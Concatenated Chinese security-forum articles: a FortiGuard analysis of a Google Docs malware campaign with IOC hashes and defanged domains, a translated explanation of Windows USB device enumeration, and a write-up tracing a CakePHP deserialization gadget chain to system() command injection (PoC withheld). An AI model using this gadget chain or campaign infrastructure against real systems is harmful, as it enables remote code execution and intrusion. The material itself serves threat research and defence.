这条重定向链与前一条非常类似，但节点更少。此时static.21.101.69.159.clients.your-server[.]de会直接投递恶意样本，而没有额外跳转到thimbleprojects.org以及4requests[.]org。我们猜测前面之所以会增加其他重定向节点，是为了保护static.21.101.69.159.clients.your-server[.]de，避免其被Google安全浏览技术列入黑名单中。
移动设备及Safari（Macintosh）
当我们使用移动设备或者MacOS对应的UA时，我们得到了两条新的重定向链。在每条重定向链的最后环节，我们可以获取到.APK或者.DMG文件。后面我们会单独分析这些文件。
## 五、分析Windows样本
在测试不同的IP及UA字段时，我们得到了十几个不同的样本，这些样本针对的都是Windows平台。在这部分内容中，我们将讨论攻击者为了规避反病毒服务所使用的各种技巧。
### 可修改的内部结构
尽管所有样本都具有相同的行为，但这些样本具备各种不同的（有时候是相互矛盾的）内部结构。比如，某个样本的FileDescription字段的值为MODJO
Internet Security。有趣的是，这个样本还带有manifest数据，其中description字段的值为Installs Adobe
Flash Player。
图5. Description字段内容
为了进一步增强复杂度，这个样本还使用了与VK.com（这是俄语国家流行的一个社交网络）非常类似的一个图标。
图6. 恶意样本图标（左图）以及VK.com社交网络logo（右图）
至于MODJO Internet Security，我们发现最后一个字母会经常改变。我们发现有些样本会使用如下名称：
MODJO Internet Security
MODJA Internet Security
MODJB Internet Security
不同样本之间还有另一个区别：.RSRC数据。样本会在这个区域中插入各种.png图像来实现样本的多样性。尽管用户看不到这些图像，但不同样本中这些图像的数量和大小存在显著差异。
图7. 两个样本.RSRC区中封装的PNG文件
那么为何这些样本会在那么多地方存在不同？我们无法给出确切的回答，但猜测攻击者会尽可能混乱地更改样本的所有区域，以降低被检测的可能性。
### 行为分析
虽然这些样本具有不同的内部结构，但行为完全相同。 恶意样本与C2服务器之间的通信如下图所示。
我们可以看到该样本正在向C2服务器发送POST请求。C2服务器同样托管在your-server.de主机上，类似我们前面研究过的某个重定向节点，然而C2服务器和重定向节点使用的是不同的IP。
key字段如下图所示：
图8. 恶意样本网络请求
我们分析的每个Windows样本都对应同一个key（如上图所示），但这可能是因为我们使用的是同一个Google文档。
收到服务器响应数据后，样本会尝试下载并执行GetGo Download
Manager，这是一个合法的第三方应用程序。成功执行后（或者经过多次失败尝试后），样本会执行自删除操作。
我们认为攻击者之所以采用这种方式，是想滥用合法应用的推广机制。当牵扯到推广机制时，通常会有一个推荐字段来区分不同实体。然而攻击活动中并不满足这种场景：请求中并没有使用推广字段，并且用户所使用的Getgosoft页面URL地址中也没有包含特征字段。
查询中包含一个明显的特征，即User-Agent字段：
User-Agent: Medunja Solodunnja 6.0.0
请注意其中使用的字符串，回头我们会提到这一点。
图9. 恶意样本生成的请求
### 实时编译及签名
此次攻击活动中还有一个显著的特点：样本会“动态”编译及签名。我们对比了样本PE头部中的TimeStamp字段与实际的下载时间，发现两者的差异不超过5分钟。此外，每个样本在下载的时候都使用相同的、有效的数字签名进行签名。
我们分析了用来生成签名的证书，这些证书都由COMODO RSA Code Signing CA颁发。我们在分析过程中见到过的证书如下所示：
00 ce fe 4e ae e4 c0 cf 51 e9 5b 30 cf 02 80 b7 94 RICK, SKY LIMITED
00 b1 ab f8 ab e0 ab 1f c2 36 ed be 9f fc 4f 66 cb UR-IN, LIMITED
00 9b ea 5b a5 5f 1b 91 61 c1 be 05 93 00 3b 3f a1 MIR CORPORATION – LIMITED
我们并不知道攻击者如何获得这些证书，但证书中的组织名称看上去非常奇怪：字符串中间包含逗号和短横线。很有可能这些证书并不是被盗证书，而是由攻击者直接申请的证书。如果是这种情况，那么大家很可能会有所疑惑，现在证书颁发机构究竟是遵循何种流程来确保证书申请者为合法的公司？
## 六、签名时间问题
当我们分析此次攻击活动所使用的样本时，我们还发现使用微软的Sigcheck工具时会得到一些有趣的结果。由于某些原因，该工具（2.7最新版）在分析本文恶意样本时会认为样本的签名时间为当前系统时间，而不是正确的签名时间。
使用VirusTotal服务同样会得到奇怪的结果。比如，如下图所示，我们可以看到对样本的最后一次分析时间为2018-11-14 14:05:19
GMT，而根据VT的分析结果，该样本的签名时间为2018-11-14 15:05:00（比真正的GMT时间还要快1个小时）。
图10.
Sigcheck（左图）及VirusTotal（右图）对样本（SHA256：b84d9c08fc35c3a160b4ee1f4061035a4bb9781e5f64e623ec988b8447b2c667）的分析结果
FortiGuard实验室已经将这个问题反馈给VirusTotal以及Sysinternals团队。Mark
Russinovich已经准备发布新版的Sigcheck工具，而VirusTotal表明他们在处理样本时使用的正是Sigcheck工具，目前正等待最新版工具。
## 七、幕后黑手
现在总结一下我们在分析过程中发现的一些信息：
1、恶意文档常用的两种语言为英语及俄语。如果仔细观察图3，大家可能会注意到第二行用到了俄语文字；
2、攻击者滥用了thimbleprojects[.]org服务，所使用的项目名为dedzsumkoi。Dedzsumkoi是俄语单词Дед с
сумкой的音译词，翻译过来就是“带着袋子的爷爷”；
3、攻击者使用了VK.com的logon，而VK.com是俄语国家非常流行的一个社交网络服务；
4、攻击者所使用的User-Agent为Medunja Solodunnja 6.0.0。Medunja Solodunnja是俄语单词Медуня-солодуня的音译词，这是位于乌克兰利沃夫附近的一家饼干制造商。
图11. Медуня-солодуня位于利沃夫乌克兰附近
总而言之，我们认为此次攻击活动中的攻击者精通俄语，他们可能非常熟悉位于乌克兰利沃夫附近的当地饼干制造商，这是关于攻击者地理区域的一个重要线索。
当我们分析攻击者所使用域名的注册信息时，我们发现基本上所有域名注册数据都在类似WhoisGuard等服务的保护之下。4requests[.]org域名也不例外，目前该域名所有数据都处于隐藏状态。然而，当我们检查该域名的whois历史记录时，我们发现该域名最早注册地址位于乌克兰利沃夫区域。
图12. 4requests[.]org域名的whois历史记录
我们无法验证这个注册信息是否正确，但这个信息与我们得出的其他线索一致。我们检查了使用egonow999[@]gmail.com邮箱注册的其他域名，总共找到了321个域名。这些域名大多数在最近一段时间注册，并且域名看上去不像是正常域名。
图13. 使用egonow999[@]gmail.com邮箱注册的域名
## 八、总结
FortiGuard实验室发现了包含数百个恶意文档的大规模Google Docs攻击活动，每个恶意文档都会根据受害者的User-Agent及IP地址来生成不同的重定向链。
我们分析了此次恶意网络中使用的许多重定向链，也分析了下载的几个样本。我们认为该网络当前的目标是滥用其他应用的合作伙伴计划，但他们的攻击目标随时都可能改变。
此外，我们还分析追踪溯源方面信息，提出了关于这些攻击幕后黑手的一些想法，至少也给出了这些攻击活动源自何处的一些线索。Android和MacOS示例将在即将发表的文章中讨论。
FortiGuard Labs将继续监控新注册的域名是否存在恶意活动。
我们会在后续分析文章中讨论Android和MacOS样本。FortiGuard实验室将继续监控新注册的、用于恶意活动的域名。
## 九、解决方案
FortiGuard Web Filter能够阻止本文分析过的URL和域名，并将其标记为恶意攻击。
AV解决方案可以成功检测本文分析的所有样本，检测标识为W32/Kryptik.GLKH!tr。
可以使用IPS规则ICLoader.Botnet来阻止恶意User-Agent请求。
## 十、IOC
攻击者使用的证书（全部由COMODO RSA Code Signing CA发布）：
00 ce fe 4e ae e4 c0 cf 51 e9 5b 30 cf 02 80 b7 94 RICK, SKY LIMITED
00 b1 ab f8 ab e0 ab 1f c2 36 ed be 9f fc 4f 66 cb UR-IN, LIMITED
00 9b ea 5b a5 5f 1b 91 61 c1 be 05 93 00 3b 3f a1 MIR CORPORATION – LIMITED
恶意样本
05cfdf3f05a41a711991f819fcbc56b05172be9ea3d2c5750d5fd42e73eb1403 - W32/Kryptik.GLKH!tr
0a0b7edd15995bb5cb59f3a10d5b24f1ca4e5091aff31200cee637fcddaf2316 - W32/Kryptik.GLKH!tr
19b8e784cd8306d55d8281675215f4343daa6cc50b72d7a449ee7fab7de5252c - W32/Kryptik.GLKH!tr
23f76599b06e8ac28fa9988006927d7dfb9084d58008c74c2e4107b90ab897ae - W32/Kryptik.GLKH!tr
26997775beef04f801088cb5e130b505f9018685359070ac033839840ec7213c - W32/Kryptik.GLKH!tr
28bbe2e3133bfbbd624272349d35f6eb216346e5a0301cf83d01f12fbab13e93 - W32/Kryptik.GLKH!tr
6a9395cca0dafd3ec3af0bcb6487c1fb335cb6fa31af0790ac1b482783c531d7 - W32/Kryptik.GLKH!tr
8c2cc4f8f88052d2efa7937a0d522c32488c07aeb2589659c2d504cf662b92d8 - W32/Kryptik.GLKH!tr
941db28ae4b053747546753f48578e89f1a865117893fd8deecac86d909685b7 - W32/Kryptik.GLKH!tr
94d58958a7347b3dad471efa13b8e9ecef175254f4e585d23b98b2dbb0beb04c - W32/Kryptik.GLKH!tr
ad8849ef085c91865c13c66a4a6178b1c59dad0cf01c1d57ef21051444c45f79 - W32/Kryptik.GLKH!tr
b84d9c08fc35c3a160b4ee1f4061035a4bb9781e5f64e623ec988b8447b2c667 - W32/Kryptik.GLKH!tr
d8c5e17ae272728caf35bc7a9a45bbaa896da671af3b720683b7daa722696433 - W32/Kryptik.GLKH!tr
df73f03f85aa0e22801167f7399c2cc43e9403d167f51dc1dd4f5381110acd0b - W32/Kryptik.GLKH!tr
ee2b5f9229f897b960c50ae8a896990aa1ec54e4787f1312c771bfdf0214b850 - W32/Kryptik.GLKH!tr
URL地址：
11fileupload-2[.]xyz
4requests[.]org
addingmac[.]com
bigbinnd[.]info
bo2rzx9xhf[.]com
celebration-staff[.]com
g64cfg9yi6kx[.]com
grotmr[.]info
gurtn[.]mobi
letsweb[.]info
mtpint[.]mobi
prkrls[.]info
ptokp[.]pro
rplug[.]pro
rtrust[.]mobi
static[.]17[.]249[.]201[.]195[.]clients[.]your-server[.]de
static[.]21[.]101[.]69[.]159[.]clients[.]your-server[.]de
sxkwor[.]space
thimbleprojects[.]org/dedzsumkoi/
vbtrst[.]info
vbtrst[.]pro
docs[.]google[.]com/document/d/108eUwuO14F7_kNOFu_AwtJEz_8yNJ0aBPBWA8jVOVOc
docs[.]google[.]com/document/d/16-GlQzXBPqo2x3iI940f9YP0KvkrzUZe3BziW3VpqKw
docs[.]google[.]com/document/d/179LQ5l6sfsD26tZJSdy-KDdGnFo2xEmbPCUV7F-F_Po
docs[.]google[.]com/document/d/190Ksr2Wv9i2QjJeElcE9VVzEje-ia5k0BQVl5jOx6vE
docs[.]google[.]com/document/d/1ablKrM6fncizaXjRNiy7Hh173FGN6Qh-97ejLNjLNoc
docs[.]google[.]com/document/d/1BcCNV9lrYY3VCKCP6aNPoXkvUbWkMHT2nOSvo0J1xaI
docs[.]google[.]com/document/d/1bY0rh0bTdvn1w_YNBfGyyOjf3CXczH2BshO2e4jyLYI
docs[.]google[.]com/document/d/1cSOWCQz9BnNBLBy3p9elvtVO8j9M6eH3_GSL8M8hmpI
docs[.]google[.]com/document/d/1d1qp4cSYo6dJiTg71chmK8pgtp3mcN1eszOECq-uLLs
docs[.]google[.]com/document/d/1DNYWgm5TcL79V2nvUHKnLXKKSjIVajPCnBzsUfuSveo
docs[.]google[.]com/document/d/1dpzCp4KPCqcs-LQX1sXULqBvJvBPqs8kIUzouXbQVtw
docs[.]google[.]com/document/d/1DQX5_6t38AiByyWwRozVY1hRsEQ0VxVTFmi59Rf4tVk
docs[.]google[.]com/document/d/1eelW4H5sMw2tsvUKddRnAU9teLTysjD3hPx5Dr4dH2c
docs[.]google[.]com/document/d/1EH7mA3IiNKlz7davbT_qbX375abjZmpFqOQQm3waI7o
docs[.]google[.]com/document/d/1f-K3aUjt58OdlH5AY4T8El6SARljQNoF5rhebcjhEP0
docs[.]google[.]com/document/d/1Glqf2-XbQ9qQ-J06zgUkZyc3JTEscu3djJx-M0GznYI
docs[.]google[.]com/document/d/1go3VoTGpEc7jGn1QkiWQh_7HC7o1nGzL5OAmlH_oL-8
docs[.]google[.]com/document/d/1GuS41cKqL1xi0AUgHW93S90ZBoE7TxLWLjmcV6igj2c
docs[.]google[.]com/document/d/1hbeIiJemK0M27XoLgQMiRG5WeHp8kD19Eu401r6mnDE
docs[.]google[.]com/document/d/1hyw6Osx5dKcZPIeK0FtsuaiaGe1b3JiWyItRKPyScJg
docs[.]google[.]com/document/d/1IRnMq34rgmuTXGHMxx-zCzf_R7Oyv1HGRHtYWbBvYbc
docs[.]google[.]com/document/d/1IvWmw3KhLFN-SiF_j4hAVbfo-TLlXHiIzvvtAiwLTuw
docs[.]google[.]com/document/d/1jDswnvQuqVtPBfFRGF0QsiPwPhJpx7gnvYBWwx0-cDE
docs[.]google[.]com/document/d/1JjTlBHBgMMV7UWE6gGS-0DiJxR4lZ25Y7BI72yWTNF4
docs[.]google[.]com/document/d/1LpTCbki4DKgeyVWooTxjeLoa_vmiRyoEsWwkGlKWxmY
docs[.]google[.]com/document/d/1mMn7M-rf9l7yWnm0rwlcQUVhge5Dkqyqg71sZ29ge-c
docs[.]google[.]com/document/d/1mWVmMnRoznPas84up5xmOj6KFjtg1dfKMpbkxjeEd1o
docs[.]google[.]com/document/d/1N4gRKup-pzDnvQesFv2074XeQTeq0nng95gahkhmywI
docs[.]google[.]com/document/d/1nBREtyYtfwPZf0GbKbAqcHrFCE8SD0qyVBCtX2elt8U
docs[.]google[.]com/document/d/1O5_sYBE1AgSw-12bYhHA4mtbhZDAG_OZtCVZRmD2xA8
docs[.]google[.]com/document/d/1oJ97BHW0Dtn8CkH1ExYiIwq21ojgY8x2TKDr7wtFON8
docs[.]google[.]com/document/d/1OpfECPCt1GRv2AYq9nD_NXIqB6CsoUsx4ol024DHCSE
docs[.]google[.]com/document/d/1p3rvvJ8E_A9FAHjdNLDiSzi9cB5xDr4R97ePiK_u9To
docs[.]google[.]com/document/d/1RVAJU149Gp2X6pnzWDyypezzN_7liUvuXk21ThR0Tyc
docs[.]google[.]com/document/d/1RYLYetWuQIADc5GsKE5O_U_G62SuNX120PEyB8tQ5Y0
docs[.]google[.]com/document/d/1SG7ojLMmWPpF4XKXmHJkDqY16fBveB6ElOTtjnqwAHY
docs[.]google[.]com/document/d/1SM-PlruT6jQUwBkJmJAEOVem7Blkemw3XDOaQ2_vHlk
docs[.]google[.]com/document/d/1x3PGsJH9LbeumQA4uR5V4xqXY1ftPjEc7v92vY66_Qc
docs[.]google[.]com/document/d/1-xEX1azHPC27q6L6wH6ea2wArRcKRmmaodQEm2hlfuE
docs[.]google[.]com/document/d/1z-UjNJqU3cmSpVvhJXPNpVCd3tvLFNeYvjlkbn0nFxk | 社区文章 |
# 第三部分：USB设备的研究——在Windows中枚举USB设备
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://nicoleibrahim.com/part-3-usb-device-research-windows-registry-enumerations/>
译文仅供参考，具体内容表达以及含义原文为准。
你有没有想过为什么Windows要使用不同的驱动程序去配置貌似是同一类型的USB设备？我当然想过。这个问题激发了我研究MSC的兴趣，PTP和MTP在我之前的文章中已经探讨过了。
USB设备会发送一条消息到Windows,然后由系统组件去确定该设备属于什么类型，该如何使用，实际上就是确定这个USB设备有些什么样的功能。在本文中，我们将涵盖不同的设备通信方面的内容，还有Windows在枚举USB设备时的内部工作机制。所提到的信息算是高级概述了，大多数来源于微软的在线开发手册和一些我个人的测试总结。下面的论题将是本文重点：
如何创建驱动栈并如何与USB设备通信。
Windows是如何为一个设备选择一个最佳的驱动程序的。
安装和枚举相关的注册表项
复合设备的枚举。
**1.1使用驱动栈枚举和通信**
与设备进行通信其实是由几个不同的驱动程序来完成的。这些驱动在设备栈中与一个设备对象相关联，由PnP维护。在PnP设备树中，每一个PnP节点都有它自己的设备栈，一个节点可能代表一个设备、复合设备的一个功能或者与物理设备无关的软设备。
在设备栈中第一个被创建的对象在栈的底部，最后一个被创建的在栈顶。
PDO(物理设备对象：Physical Device
Object)是第一个被创建的对象，它由PnP设备树下的功能驱动所创建。下一个被创建的对象是FDO(功能设备对象：Functional Device
Object)，这是这个栈中主要的驱动。该驱动处理读、写及设备控制请求。也可以在栈中当过滤驱动使用。这些都是由功能驱动所创建，并且辅助FDO执行任务。这些设备被称为Filter
Dos（过滤设备对象：Filter Device
Object）。一个过滤驱动可以在功能驱动之上(上层驱动)，或者也可以运行在功能驱动之下（底层驱动）。还有一点，当一个设备在原始模式时，在设备节点中就没有功能驱动或者过滤驱动了。
当一个设备第一次被安装的时候，INF文件用于确定哪个驱动是功能驱动，哪个是过滤驱动。而这些信息也会存储进注册表中。PnP管理器就用注册表中的这些信息去枚举这个设备的设备栈。下列图片就是一个USB存储设备栈的示例：
在前面提到的堆栈中的所有驱动程序，都是内核驱动。有时候，一个设备可以同时有一个用户模式堆栈，和一个内核模式堆栈。用户模式的驱动常常是基于UMDF(用户模式驱动程序框架：User-Mode Driver Framework)的，DLL表示用户模式的驱动。
**1.2Windows是如何为一个USB设备选取最好的驱动程序的呢？**
**–**
**1.2.1设备与Windows之间的通信：获取硬件ID和兼容的ID**
当一个设备绑定到一个运行Windows系统的计算机时，USB集线器驱动(USB hub
driver)会从已经绑定的设备上查询信息并且会创建一个或多个硬件ID和兼容ID。
硬件ID由“USB”作为前缀，并指向用来处理这个设备的总线驱动，其次是供应商、模型和修订标识符。硬件标识的格式是：
USBVID_1234&PID_5678&REV_0001
供应商、模型和修订标识符是从设备描述响应包(Device Descriptor Response
packet)中拖过来的，对应的字段分别是：idProduct,idVendor和bcdDevice，如图2所示：
兼容ID也是由”USB”作为前缀，指示由集线器驱动负责处理这个设备，随后是分类代码、子类代码和协议代码。格式如下示例：
USBCLASS_01&SUBCLASS_23&PROT_45
这个分类、子类和协议代码既可以从设备描述符的bDeviceClass、bDeviceSubClass、bDeviceProtocol字段获取也可以从接口描述符的bInterfaceClass、bInterfaceSubClass和bInterfaceProtocol字段获取。
USB.org定义了不同的USB设备的类，所以，供应商便可以使用由操作系统提供的设备驱动。设备描述符由设备自己发送到操作系统，并且其中包含了类（Class）、子类(SubClass)和协议(Protocol)字段。据USB.org所说，这些字段被用于识别一个USB设备提供的功能，协议被用于与该设备通信。
你可以在这里看到完整的设备类型列表[http://www.usb.org/developers/defined_class](http://www.usb.org/developers/defined_class)
不过对于我们讨论的话题，下面只列出MSC、PTP和MTP的类：
**1.2.2 Windows内部**
USB集线器驱动告诉即插即用管理器：发现了新的设备。然后即插即用管理器就查询这个设备的所有的硬件ID。
然后，即插即用管理器便传达消息给Windows，指示有一个新的设备被发现，并且需要被安装，同时会发送处理时需要的硬件ID列表。
**1.2.3 INF文件**
：根据硬件ID去搜索匹配的硬件ID或兼容ID，Windows试图在一个驱动包中搜索各种相匹配的INF文件。如果没有找到相匹配的硬件ID，那么它就为这个设备去搜索相匹配的兼容ID。
**1.2.4 驱动的排名和安装**
如果找到一个或多个相匹配的驱动程序，Windows就会为其中的每一个驱动分配一个等级。至于Windows如何排列每一个驱动的更多信息，你可以阅读[5]。等级最低的驱动程序将会被使用。如果一个设备有多个同等级的驱动，那么Windows就会根据数字签名状态、驱动日期和修订信息去决定应该选择哪个驱动程序。
该驱动通过下面的途径被安装：
1.公共安装程序被注册。一个公共安装程序典型地写附加配置信息到系统注册表中，或者执行一个其它的安装任务如需要一个安装时间信息，而这个信息显然不能由一个INF文件来处理。而它们可以获取一个设备运转时需要的设备参数。
2.Windows从这个INF中的入口处确定设备的安装类型，这个信息被存储到：SYSTEMCurrentControlSetControlClass{ClassGUID}中
3.在驱动和公共安装程序完成后，PnP就获取控制权。PnP管理器为每个驱动调用AddDevice程序，从更底层的过滤驱动开始，然后是功能驱动，最后是最顶层的过滤驱动。然后PnP为每个设备分配资源。
4.如果有指定一个公共安装程序，Windows就为附加安装程序发送代码到公共安装程序。
5.完成这些后，设备就被安装好了且准备就绪。
**1.3注册表键**
SYSTEMCurrentControlSetControlClass{ClassGUID}####
这个键代表设备安装类型，是为了便于设备安装。而大多数类都是系统相关，不过厂商也可以指定自己的类。当一个设备绑定到系统时，INF文件被用于在安装设备的时候存储信息。一个设备可能会使用多个不同的GUID，其中每一个都可以与驱动栈相关联。每一个GUID都是由系统为每个设备所创建的注册表键值。键值的格式是”####“，在第一个安装好的设备下面依次从0000开始，每增加一个设备，键值就递增。你可以在SYSTEMCurrentControlSetEnumEnumeratorDeviceIDInstanceID找到参考。
**SYSTEMCurrentControlSetControlDeviceClasses**
_{DeviceInterfaceClassGUID}SymbolicLinkName_
驱动接口类是一个设备输出的途径，也是驱动功能到其他系统组件的途径，包括了其它的驱动以及用户模式下的程序。一个特定设备的驱动会注册一个设备接口类。当一个驱动注册一个设备接口类时，I/O管理器将设备和设备接口类的GUID合并成一个符号链接名，下面就是一个符号链接名的示例：
##?#USBSTOR#Disk&Ven_Toshiba&Prod_External_USB_HDD&Rev_#2010041434D5&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
链接符号名的子键有一个名为”DeviceInstance“的入口。它的值就像下面这种格式：
_EnumeratorDeviceIDInstanceID_
SYSTEMCurrentControlSetEnumEnumerator
这个键由PnP管理器创建。这个键下有当前系统中的每一个设备实例的子键。子键中有一些信息比如设备描述、硬件ID、兼容ID和资源需求。这个enumerator就代表是一个设备的驱动栈中的一个对象的功能驱动。在Windows发布XP的时候，USB设备的Enumerator包括了USB、STORAGE和其它设备中的USBSTOR。
**1.4多功能及混合设备**
一些设备具有多个接口，可允许每一个接口去实现不同的功能。在Windows中，这些设备和单一功能的设备有些许不同的地方。在这个查询了这个设备的硬件ID和搜索玩INF文件后，如果在使用的INF文件中找到了相匹配的驱动，那么通用的父驱动程序就不会起作用。然而，如果没有找到匹配的驱动，USBCOMPOSITE的一个兼容ID就会被使用，如果支持，那么这个USB通用父驱动程序：Generic
Parent Driver(Usbccgp.sys)就会被使用。
这个通用父驱动必须知道它应该管哪一个接口。这使得该设备可以使用微软提供的驱动去支持它自己的接口。如果有接口在Windows本地没有相应的驱动，那么供应商就必须提供一个驱动和INF文件。
在之前的文章中，我探讨了Windows为啥不能正确地枚举黑莓设备。这是因为黑莓供应商指定的软件必须在连接的时候先安装，它可以访问在软件安装过程中提供的驱动程序和INF文件。如果没有了这些，那么Windows的通用父驱动没有了必要的信息去正确地枚举这个设备了。
在注册表中，每一个被枚举出来的接口貌似都是一个独立的设备，但是Windows却是把一个所谓的单独的设备当成一个接口组件进行管理的。
已经枚举出来的设备接口的硬件ID被加在MI_XX后面。相关的入口被注册表的键和值，而这个键和值就是用来处理该接口的特定功能的。
即将到来……
在下一篇文章中，我计划涵盖我的研究中的基础技能，包括详细的安装环境及使用方法，以及下面这些测试：
**资源**
1.http://msdn.microsoft.com/en-us/library/windows/hardware/hh439632%28v=vs.85%29.aspx
2.http://msdn.microsoft.com/en-us/library/windows/hardware/ff728852%28v=vs.85%29.aspx
3.http://msdn.microsoft.com/en-us/library/windows/hardware/ff553356%28v=vs.85%29.aspx
4.http://msdn.microsoft.com/en-us/library/windows/hardware/ff728853%28v=vs.85%29.aspx
5.http://msdn.microsoft.com/en-us/library/windows/hardware/ff686700%28v=vs.85%29.aspx
6.http://msdn.microsoft.com/en-us/library/windows/hardware/ff549491%28v=vs.85%29.aspx
7.http://msdn.microsoft.com/en-us/library/windows/hardware/ff549460%28v=vs.85%29.aspx
8.http://msdn.microsoft.com/en-us/library/windows/hardware/ff546173%28v=vs.85%29.aspx
9.http://msdn.microsoft.com/en-us/library/windows/hardware/ff537109%28v=vs.85%29.aspx
10.<http://msdn.microsoft.com/en-us/library/windows/hardware/ff539234%28v=vs.85%29.aspx> | 社区文章 |
## 前言
闲来无事 做了下队里大师傅出的CodeIgniter框架反序列化题目（大师傅自己挖的链）
在大师傅的指引下花费了几天终于调通了 学到了不少东西 想着自己能不能也挖下某些框架的链呢
于是找了下常用的php web框架 发现貌似CakePHP框架还没有公布什么链子 于是就有了此文
菜鸡第一次发文章 如有错误 请师傅们指出 轻点喷...
## php调用函数的特性
php各版本在线运行网站：<https://3v4l.org/>
### 有参无参调用
demo:
<?php
class a{
public function aaa($a){
echo 'aaa';
}
public function cccc(){
echo 'cccc';
}
}
$a = new a();
$a->aaa();
$a->cccc(123,456);
php7.0.33运行结果：
虽然有个warning 但是两个函数都执行了
php7.1.0运行结果：
直接报Fatal error了 后面的代码都不执行了 调换下顺序 执行下试试
发现有参调用无参函数是不影响的
总结下：
* 无参函数可以有参调用
* 当php version ≥ 7.1.0，有参函数不能无参调用，会直接报Fatal error
* 当php version ≤ 7.0.33，有参函数可以无参调用，但会有个警告（Warning: Missing argument）
这个问题在奶权师傅挖的thinkphp3 反序列化利用链也有遇到
具体参见：<https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA>
## 反序列化入口
提到php反序列化，肯定首先要找入口，一般就__destruct方法和__wakeup这两个方法
刚开始找的时候直接用的目前最新版本（4.2.8）只发现了两处可以进一步利用的点（太菜 没找到其他口子）而且这两处还有限制
### 第一处
一处是位于: vendor\cakephp\cakephp\src\Mailer\Transport\SmtpTransport.php
跟进disconnect方法
$this->connected()的返回值是可控的
这里有可能触发__get方法 但实际上有个__wakeup方法直接把 $this->_socket 设置成空了
我们知道__wakeup方法是先于__destruct方法执行的 因此这里利用不了
再回头看下$this->_disconnect方法吧
跟进_smtpSend方法 此时$data不为空 进入_socket函数
由于__wakeup方法直接把 $this->_socket 设置成空 这里直接抛出异常了
因此这条路整体上就不通 其实这个对应一个CVE编号: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11458>
官方的commit:
<https://github.com/cakephp/cakephp/commit/1a74e798309192a9895c9cedabd714ceee345f4e>
对应修复的版本是3.7.7 4.x版本最开始就是已经修复的
详细的补丁信息：<https://github.com/advisories/GHSA-qhrx-hcm6-pmrw>
在版本小于上面patch的版本 这个类也可以作为入口 这里就不探讨了
### 第二处
位于: vendor\symfony\process\Process.php
__destruct方法中 貌似可以直接调用任意类的__call方法或者是调用含有close方法的类的close方法
然而比较新的版本仍然有个__wakeup方法限制 直接抛出异常了
往下找一下版本 如果直接在Github仓库直接找会发现是找不到这个类的 因为Github放的只是cakephp这个组件的代码
而这个类是symfony组件里面的
去releases下载完整的web项目包，在里面测试发现以下版本该类是没有__wakeup方法那个限制的
* * *
? < 4.x ≤ 4.2.3
? < 3.x ≤ 3.9.6
* * *
还有个问题就是 这个利用点在某些版本__destruct方法是不一样的
在比较老的版本中 大概是下面版本
* * *
? < 4.x ≤ 4.1.6
? < 3.x ≤ 3.9.4
* * *
__destruct方法是这样的
相当于新版本的进入了else分支 因此想新版旧版都通用可以直接进入else分支
跟进stop方法发现 进行了判断
跟进isRunning方法 $this->status可控
再跟进updateStatus方法 发现里面调用了proc_get_status函数 用来获取由
[proc_open()](https://www.php.net/manual/zh/function.proc-open.php) 函数打开的进程的信息
这个函数我们随便设置个数字或者字符串之类的只有一个Warning 并不会终止
再跟进 发现有一个可控对象的readAndWrite方法调用 参数是两个bool值 这里我们就可以让其调用某个类的__call方法了
## 3.x某些版本利用
测试的时候选用的版本是3.9.6
### __call进一步利用
上面可以知道 我们现在可以调用任意一个类的__call方法了 个人用的比较笨的方式 全局搜索__call方法 挨个看 然后就找到一个比较好的点
位于：vendor\cakephp\cakephp\src\ORM\Table.php
因此通过设置条件 应该可以进入call函数 全局搜索下call函数
有处：vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php
直接通过call_user_func_array调用的某个类的某个共有方法并传参数 这里类名、方法名均可空，只有参数不可控 回头捋下
发下$args就是我们最初调用__call的$args的值
再看下条件允不允许
首先第一个条件hasMethod方法
可控 注意转化成小写就行 $method就是触发__call用到的方法
第二个条件has方法 在其父类ObjectRegistry里 同样也是可控的
证明这条路是通的
### 寻找可利用的方法
现在就可以调用任意一个类的共有方法 只不过参数不可控罢了 这里我们就要想 要么那个方法的参数对后续操作没影响或者就那个方法就不接受参数
不卖关子了 直接上吧 位于：vendor\cakephp\cakephp\src\Shell\ServerShell.php
该类有个main方法 最终通过system函数执行命令
而命令是经过一系列拼接完成的 明显是可以命令注入的 简单测试下 linux直接用分号多语句执行 windows可以用&
但是在windows上利用需要有php环境变量 不然貌似不能执行 不知道为啥是这样 第一个命令不存在第二个命令貌似也不会执行成功 最后也没解决这个问题
真实情况下win应该比较少吧 2333... 后面还有个更好的链子 就不考虑这个问题了
接着让out方法正常执行 跟进来到了：vendor\cakephp\cakephp\src\Console\Shell.php
再跟进发现来到了：vendor\cakephp\cakephp\src\Console\ConsoleIo.php
可控 设置条件直接让这个返回true就行了
这样 整条链就串起来了
### 效果
poc就不贴了 避免一些不必要的问题
效果如下：
## 4.x某些版本利用
测试用的版本是4.1.6
### 替代ServerShell
4.x版本前面的整体思路和3.x基本一样 虽然可能部分代码有所改动
但是比较可惜的就是ServerShell这个类修改了
历史修改记录：<https://github.com/cakephp/cakephp/commits/3.x/src/Shell/ServerShell.php>
3.x从一开始就有这个类 从4.0开始就移除该类
从src/Shell/ServerShell.php更名到src/Command/ServerCommand.php
修改记录：<https://github.com/cakephp/cakephp/commit/ec40d847d131b0d8aa9c8b7b6fd829570e01036d>
而新修改的ServerCommand中没有和之前一样main方法一样好用的利用点了
没办法 只能寻找新的了
最后找到位于：vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php
最后又一个动态调用 并且函数名可控 全局搜索fetch方法 有好多可利用点 最好选择cakephp命名空间下的
最后选用的是：vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php
设置条件 即可实现上面的参数可控 fetch函数传过来的参数就是之前调用__call方法传过来的bool值 此条路通
这个类修改记录：<https://github.com/cakephp/cakephp/commits/master/src/Database/Statement/BufferedStatement.php>
因此应该是通杀2019年9月3日之后的版本的 3.x的某些版本也可以用
### 效果
效果如下：
## 总结
整条链顺下来 可能比较简单 但中间其实经过了很多次尝试 感觉过程中最难的就是找一个可以进入下一步来“扩大战果”的方法
本菜鸡是基于正则的方式来搜索的一点点看的2333 虽然笨但不失为一种解决问题的方法
当然 应该不止这一个链 中间的好多类或者是方法其实是可以替换使用的 师傅们有更好的思路可以留言或者私信本菜鸡！ | 社区文章 |
# 12月26日安全热点 - IoT安全漏洞/Mozilla安全更新
##### 译文声明
本文是翻译文章
